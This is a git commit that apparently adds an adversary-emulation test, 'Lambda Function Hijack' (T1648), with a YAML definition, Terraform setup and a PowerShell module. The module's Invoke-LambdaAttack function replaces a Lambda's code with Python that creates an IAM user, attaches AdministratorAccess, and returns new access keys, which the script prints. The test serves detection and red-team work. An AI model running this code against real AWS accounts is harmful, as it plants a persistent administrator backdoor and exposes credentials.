feat: T1648-1 (#3038)

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
This commit is contained in:
ryananicholson
2025-01-28 15:04:30 -05:00
committed by GitHub
parent 8248b65cce
commit fdd770460e
7 changed files with 333 additions and 0 deletions
+67
View File
@@ -0,0 +1,67 @@
attack_technique: T1648
display_name: 'Serverless Execution'
atomic_tests:
- name: Lambda Function Hijack
description: |
Modify an existing Lambda function to execute arbitrary code.
supported_platforms:
- iaas:aws
input_arguments:
access_key:
description: AWS Access Key
type: string
default: ""
secret_key:
description: AWS Secret Key
type: string
default: ""
session_token:
description: AWS Session Token
type: string
default: ""
profile:
description: AWS profile
type: string
default: ""
region:
description: AWS region to deploy the EC2 instance
type: string
default: us-east-2
dependency_executor_name: powershell
dependencies:
- description: |
The AWS PowerShell module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name AWSPowerShell -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name AWSPowerShell -Force
- description: |
Terraform must be installed.
prereq_command: |
terraform --version
get_prereq_command: |
Write-Host "Terraform is required. Download it from https://www.terraform.io/downloads.html"
executor:
command: |
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region
cleanup_command: |
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
Remove-MaliciousUser -AWSProfile "T1648-1"
Remove-TFFiles -Path "PathToAtomicsFolder/T1648/src/T1648-1/"
name: powershell
+167
View File
@@ -0,0 +1,167 @@
Import-Module AWSPowerShell
function Set-AWSAuthentication {
param (
[string]$AccessKey,
[string]$SecretKey,
[string]$SessionToken,
[string]$AWSProfile,
[string]$AWSRegion
)
if ($SessionToken -eq "" -and $AWSProfile -eq "") {
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -StoreAs "T1648-1"
}
elseif ($SessionToken -ne "" -and $AWSProfile -ne "") {
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -SessionToken $SessionToken -StoreAs "T1648-1"
}
elseif ($AWSProfile -ne "") {
Set-AWSCredential -ProfileName $AWSProfile -StoreAs "T1648-1"
}
try {
Get-STSCallerIdentity -ProfileName "T1648-1" | Out-Null
}
catch {
Write-Host "ERROR: Failed to authenticate to AWS. Please check your credentials and try again."
exit 1
}
Set-DefaultAWSRegion -Region $AWSRegion
}
function Invoke-Terraform {
param (
[string]$TerraformCommand,
[string]$TerraformDirectory,
[string[]]$TerraformVariables
)
$currentPath = Resolve-Path .
if (-not (Test-Path $TerraformDirectory)) {
Write-Host "ERROR: Terraform directory not found. Please check the path and try again."
exit 1
}
if (-not (Get-ChildItem $TerraformDirectory -Filter "*.tf")) {
Write-Host "ERROR: No Terraform files found in the directory. Please check the path and try again."
exit 1
}
foreach($variable in $TerraformVariables) {
$varName = $variable.Split("=")[0]
$varValue = $variable.Split("=")[1]
[Environment]::SetEnvironmentVariable("TF_VAR_$varName", $varValue, "Process")
}
Set-Location $TerraformDirectory
if ($TerraformCommand -eq "init") {
try {
terraform init | Out-Null
}
catch {
Write-Host "ERROR: Failed to initialize Terraform. Please check the error message and try again."
exit 1
}
} elseif ($TerraformCommand -eq "apply") {
try {
terraform apply -auto-approve | Out-Null
}
catch {
Write-Host "ERROR: Failed to apply Terraform. Please check the error message and try again."
exit 1
}
} elseif ($TerraformCommand -eq "destroy") {
try {
terraform destroy -auto-approve | Out-Null
}
catch {
Write-Host "ERROR: Failed to destroy Terraform. Please check the error message and try again."
exit 1
}
} else {
Write-Host "ERROR: Invalid Terraform command. Please use 'init', 'apply', or 'destroy'."
exit 1
}
Set-Location $currentPath
}
function Invoke-LambdaAttack {
param (
[string]$AWSProfile,
[string]$AWSRegion
)
$maliciousContent = "import json`n"
$maliciousContent += "import boto3`n`n"
$maliciousContent += "def lambda_handler(event, context):`n"
$maliciousContent += " client = boto3.client('iam')`n"
$maliciousContent += " client.create_user(UserName='T1648-1')`n"
$maliciousContent += " response = client.create_access_key(UserName='T1648-1')`n"
$maliciousContent += " access_key = response['AccessKey']['AccessKeyId']`n"
$maliciousContent += " secret_key = response['AccessKey']['SecretAccessKey']`n"
$maliciousContent += " client.attach_user_policy(UserName='T1648-1', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')`n"
$maliciousContent += " return {`n"
$maliciousContent += " 'statusCode': 200,`n"
$maliciousContent += " 'body': json.dumps({'AccessKeyId': access_key, 'SecretAccessKey': secret_key})`n"
$maliciousContent += " }`n"
$zipPath = [System.IO.Path]::GetTempPath() + "LambdaAttack.zip"
$zipFile = [System.IO.Compression.ZipFile]::Open($zipPath, [System.IO.Compression.ZipArchiveMode]::Create)
$zipEntry = $zipFile.CreateEntry("lambda.py")
$zipStream = $zipEntry.Open()
$zipWriter = New-Object System.IO.StreamWriter($zipStream)
$zipWriter.Write($maliciousContent)
$zipWriter.Close()
$zipStream.Close()
$zipFile.Dispose()
$zipContent = [System.IO.File]::ReadAllBytes($zipPath)
$null = Update-LMFunctionCode -FunctionName "T1648-1" -ZipFile $zipContent -ProfileName $AWSProfile -Region $AWSRegion
Sleep 10 # Wait a bit for the Lambda function to update
$result = Invoke-LMFunction -FunctionName "T1648-1" -ProfileName $AWSProfile -Region $AWSRegion
$payload = [System.Text.Encoding]::UTF8.GetString($result.Payload.ToArray()) | ConvertFrom-JSON
$output = $payload | select Body
Remove-Item $zipPath
Write-Host "INFO: Lambda function code updated successfully."
$accessKeyId = ($output.body | ConvertFrom-JSON).AccessKeyId
$secretAccessKey = ($output.body | ConvertFrom-JSON).SecretAccessKey
Write-Host "INFO: New Access Key ID: $accessKeyId"
Write-Host "INFO: New Secret Access Key: $secretAccessKey"
}
function Remove-MaliciousUser {
param (
[string]$AWSProfile
)
try {
$null = Get-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile
} catch {
return
}
$accessKeys = Get-IAMAccessKey -UserName "T1648-1" -ProfileName $AWSProfile
foreach ($accessKey in $accessKeys) {
$null = Remove-IAMAccessKey -AccessKeyId $accessKey.AccessKeyId -UserName "T1648-1" -ProfileName $AWSProfile -Force
}
Sleep 5 # Wait a bit for the access keys to be removed
$null = Unregister-IAMUserPolicy -UserName "T1648-1" -PolicyArn "arn:aws:iam::aws:policy/AdministratorAccess" -ProfileName $AWSProfile -Force
$null = Remove-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile -Force
Write-Host "INFO: Malicious user 'T1648-1' removed successfully."
}
function Remove-TFFiles {
param (
[string]$Path
)
try {
Remove-Item "$Path/lambda_code.zip" -ErrorAction SilentlyContinue
Remove-Item "$Path/terraform.tfstate" -ErrorAction SilentlyContinue
Remove-Item "$Path/terraform.tfstate.backup" -ErrorAction SilentlyContinue
} catch {
return
}
}
+19
View File
@@ -0,0 +1,19 @@
data "archive_file" "lambda_code" {
type = "zip"
source_content = <<EOF
def lambda_handler(event, context):
return "This is a benign lambda function"
EOF
source_content_filename = "lambda.py"
output_path = "${path.module}/lambda_code.zip"
}
resource "aws_lambda_function" "lambda" {
filename = data.archive_file.lambda_code.output_path
function_name = "T1648-1"
role = aws_iam_role.lambda_role.arn
handler = "lambda.lambda_handler"
runtime = "python3.11"
source_code_hash = data.archive_file.lambda_code.output_base64sha256
timeout = 30
}
+39
View File
@@ -0,0 +1,39 @@
data "aws_iam_policy_document" "lambda_assume_role_policy" {
statement {
effect = "Allow"
principals {
type = "Service"
identifiers = ["lambda.amazonaws.com"]
}
actions = ["sts:AssumeRole"]
}
}
resource "aws_iam_role" "lambda_role" {
name = "LambdaRole"
assume_role_policy = data.aws_iam_policy_document.lambda_assume_role_policy.json
}
resource "aws_iam_policy" "lambda_policy" {
name = "TestLambdaPolicy"
description = "Test Policy for Lambda function"
policy = jsonencode({
Version = "2012-10-17",
Statement = [
{
Effect = "Allow",
Action = [
"*"
],
Resource = "*"
}
]
})
}
resource "aws_iam_role_policy_attachment" "lambda_policy_attachment" {
role = aws_iam_role.lambda_role.name
policy_arn = aws_iam_policy.lambda_policy.arn
}
+23
View File
@@ -0,0 +1,23 @@
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "= 5.82.2"
}
}
}
provider "aws" {
profile = var.profile
region = var.region
default_tags {
tags = {
AtomicTest = "T1648-1"
}
}
}
locals {
cloud = length(regexall("-gov-", var.region)) > 0 ? "aws-us-gov" : length(regexall("-cn-", var.region)) > 0 ? "aws-cn" : "aws"
}
+4
View File
@@ -0,0 +1,4 @@
resource "aws_cloudwatch_log_group" "lambda_log_group" {
name = "/aws/lambda/T1648-1"
retention_in_days = 1
}
+14
View File
@@ -0,0 +1,14 @@
variable "profile" {
description = "The AWS profile to use"
default = "default"
}
variable "region" {
description = "The AWS region to deploy to"
default = "us-east-2"
}
variable "instance_type" {
description = "The instance type to use for the EC2 instance"
default = "t2.micro"
}